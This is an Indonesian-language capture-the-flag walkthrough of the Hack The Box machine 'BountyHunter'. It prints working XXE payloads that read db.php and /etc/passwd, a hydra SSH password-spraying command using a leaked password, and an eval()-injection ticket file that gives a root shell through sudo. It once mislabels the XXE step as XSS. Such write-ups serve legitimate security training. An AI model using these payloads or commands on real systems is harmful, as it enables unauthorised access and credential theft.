BountyHunter
Easy – Box
By SlothSpider

Initial
Pertama-tama, saya melakukan enumerasi menggunakan Nmap ke alamat IP 10.10.11.100. Kita dapatkan hasil seperti berikut (gambar 1).

Dari gambar 1, kita dapat lihat bahwa terdapat dua buah port yang terbuka, yaitu port 22 dan port 80.
Saatnya kita mengunjungi halaman web pada port 80 tersebut (gambar 2).

Dari hasil penelusuran pada web tersebut, kita bisa mengetahui bahwa terdapat sebuah halaman portal (portal.php) yang mengarahkan kita menuju halaman log_submit.php.
Foothold
Sebelum membahas lebih lanjut mengenai file log_submit.php, saya melakukan directory bruteforcing menggunakan dirbuster dan menemukan beberapa file, salah satu file yang menarik adalah db.php (gambar 3).

Hanya terdapat halaman kosong pada halaman db.php tersebut. Hal ini bisa disebabkan karena file db.php hanya berisi data seperti kredensial dan tidak melakukan output ke halaman web.
Kembali ke file submit_log.php, di halaman ini kita bisa melakukan submit bounty hunter report (gambar 4).

Ketika kita melakukan inspect element, pada bagian head, kita bisa menemukan bahwa log_submit.php melakukan akses ke /resources/bountylog.js (gambar 5).

Langsung saja kita lihat file bountylog.js tersebut.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
function returnSecret(data) { return Promise.resolve($.ajax({ type: "POST", data: {"data":data}, url: "tracker_diRbPr00f314.php" })); } async function bountySubmit() { try { var xml = <?xml version="1.0" encoding="ISO-8859-1"?> <bugreport> <title>${$('#exploitTitle').val()}</title> <cwe>${$('#cwe').val()}</cwe> <cvss>${$('#cvss').val()}</cvss> <reward>${$('#reward').val()}</reward> </bugreport> let data = await returnSecret(btoa(xml)); $("#return").html(data) } catch(error) { console.log('Error:', error); } } |
Kita lihat bahwa pada terdapat XML pada halaman tersebut. Ternyata, kita bisa melakukan XEE injection (lihat ini) terhadap web tersebut. Oleh sebab itu, langsung saja kita intercept request web menggunakan Burpsuite.

Ketika kita melakukan submit bounty report pada halaman log_submit.php, web akan melakukan request dengan mengubah string data yang berisi XML menjadi base64 (gambar 6). Karena memiliki vulnerability XML External Entities (XXE) (lihat ini), sehingga, kita bisa ubah isi dari XML tersebut untuk mendapatkan isi dari file db.php yang tidak bisa kita lihat tadi.
1 2 3 4 5 6 7 8 |
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file://db.php"> ]> <bugreport> <title>&xxe;</title> <cwe>1</cwe> <cvss>1</cvss> <reward>1</reward> </bugreport> |
Namun, agar isi dari file db.php yang dibatasi oleh “<?php” dan “?>” bisa terlihat (bukan mengeksekusinya), kita perlu mengakses file tersebut menggunakan PHP file inclusion vulnerability dan merubah isi dari file db.php tersebut menjadi base64 (lihat ini).
Sehingga, kita ubah payload kita pada bagian
1 |
file://db.php |
menjadi:
1 |
php://filter/convert.base64-encode/resource=db.php |
Sehingga, payload kita adalah:
1 2 3 4 5 6 7 8 |
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php"> ]> <bugreport> <title>&xxe;</title> <cwe>1</cwe> <cvss>1</cvss> <reward>1</reward> </bugreport> |
Sekarang, saatnya kita melakukan exploit. Kita kirim sebuah request untuk melakukan submit pada halaman log_submit.php dan kita intercept pesan tersebut. Kemudian, pada burpsuite, kita pindahkan request tersebut dari intercept menuju repeater. Kemudian, kita ubah request kita menjadi payload di atas. Namun, payload diatas perlu kita ubah dahulu menjadi base64. Kemudian, kita bisa mengirimnya.
Pada bagian response dapat kita lihat bahwa kita mendapatkan sebuah string dalam bentuk base64 yang merupakan sebuah kredensial (gambar 7).

1 2 3 4 5 6 7 8 |
<?php // TODO -> Implement login system with the database. $dbserver = "localhost"; $dbname = "bounty"; $dbusername = "admin"; $dbpassword = "m19RoAU0hP41A1sTsq6K"; $testuser = "test"; ?> |
User
Namun, bisa kita gunakan untuk apa kredensial ini, kita tidak bisa mengakses database atau menemukan hal lain dari web tersebut. Oleh sebab itu, langsung kita coba saja melakukan bruteforce untuk melakukan SSH. Namun, pertama-tama kita perlu tahu dulu nama-nama dari user yang ada. Kita bisa melakukan XSS dan mengakses file /etc/passwd (gambar 8).
1 2 3 4 5 6 7 8 |
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <bugreport> <title>&xxe;</title> <cwe>1</cwe> <cvss>1</cvss> <reward>1</reward> </bugreport> |

Kita dapatkan response (gambar 8) dan mengekstrak username tersebut dan memasukkannya kedalam sebuah file bernama users.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
root daemon bin sys sync games man lp mail news uucp proxy www-data backup list irc gnats nobody systemd-network systemd-resolve systemd-timesync messagebus syslog _apt tss uuidd tcpdump landscape pollinate sshd systemd-coredump development lxd usbmux |
Sekarang, saatnya kita melakukan bruteforcing SSH menggunakan bantuan hydra menggunakan command berikut.
1 |
hydra -L users -p m19RoAU0hP41A1sTsq6K ssh://10.10.11.100 |
Kita dapatkan username dan password yang sesuai (gambar 9).

1 2 |
Username : development Password : m19RoAU0hP41A1sTsq6K |
Saatnya kita melakukan SSH dan mengambil flag user (gambar 10).

Privilege Escalation
Kita lihat bahwa user development dapat menjalankan “/usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py” sebagai sudoers (gambar 11).

Kita lihat isi dari file ticketValidator.py sebagai berikut.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 |
#Skytrain Inc Ticket Validation System 0.1 #Do not distribute this file. def load_file(loc): if loc.endswith(".md"): return open(loc, 'r') else: print("Wrong file type.") exit() def evaluate(ticketFile): #Evaluates a ticket to check for ireggularities. code_line = None for i,x in enumerate(ticketFile.readlines()): if i == 0: if not x.startswith("# Skytrain Inc"): return False continue if i == 1: if not x.startswith("## Ticket to "): return False print(f"Destination: {' '.join(x.strip().split(' ')[3:])}") continue if x.startswith("__Ticket Code:__"): code_line = i+1 continue if code_line and i == code_line: if not x.startswith("**"): return False ticketCode = x.replace("**", "").split("+")[0] if int(ticketCode) % 7 == 4: validationNumber = eval(x.replace("**", "")) if validationNumber > 100: return True else: return False return False def main(): fileName = input("Please enter the path to the ticket file.\n") ticket = load_file(fileName) #DEBUG print(ticket) result = evaluate(ticket) if (result): print("Valid ticket.") else: print("Invalid ticket.") ticket.close main() |
Dari file di atas, terdapat suatu celah, yaitu pada pemanggilan fungsi eval() pada load_file.
Untuk mengakses fungsi tersebut, terdapat beberapa syarat yang perlu dipenuhi, untuk mempermudah, saya membuat catatan berikut.
1 2 3 4 5 |
Baris kode nilai i nilai code_line 1 # Skytrain Inc 0 0 2 ## Ticket to 1 0 3 __Ticket Code:__ 2 3 4 KODE_EXPLOIT_KITA 3 3 |
Kita buat payload kita seperti berikut dengan file bernama hello.md.
1 2 3 4 |
# Skytrain Inc ## Ticket to __Ticket Code:__ **704+__import__('os').system('/bin/bash') |
Di sini, saya hanya akan membahas pada baris terakhir pada payload saya. Pada baris terakhir, ** digunakan untuk memenuhi syarat dari progamnya, 704 agar nilai tersebut ketika di modulo dengan 7 bersisa 4, tanda + digunakan sebagai pemisah antara syarat agar eval() dijalankan dan kode untuk melakukan exploit kita, dan sisa nya adalah payload kita untuk mengeluarkan bash shell dengan sudo privilege.

Kita dapatkan root shell (gambar 12)!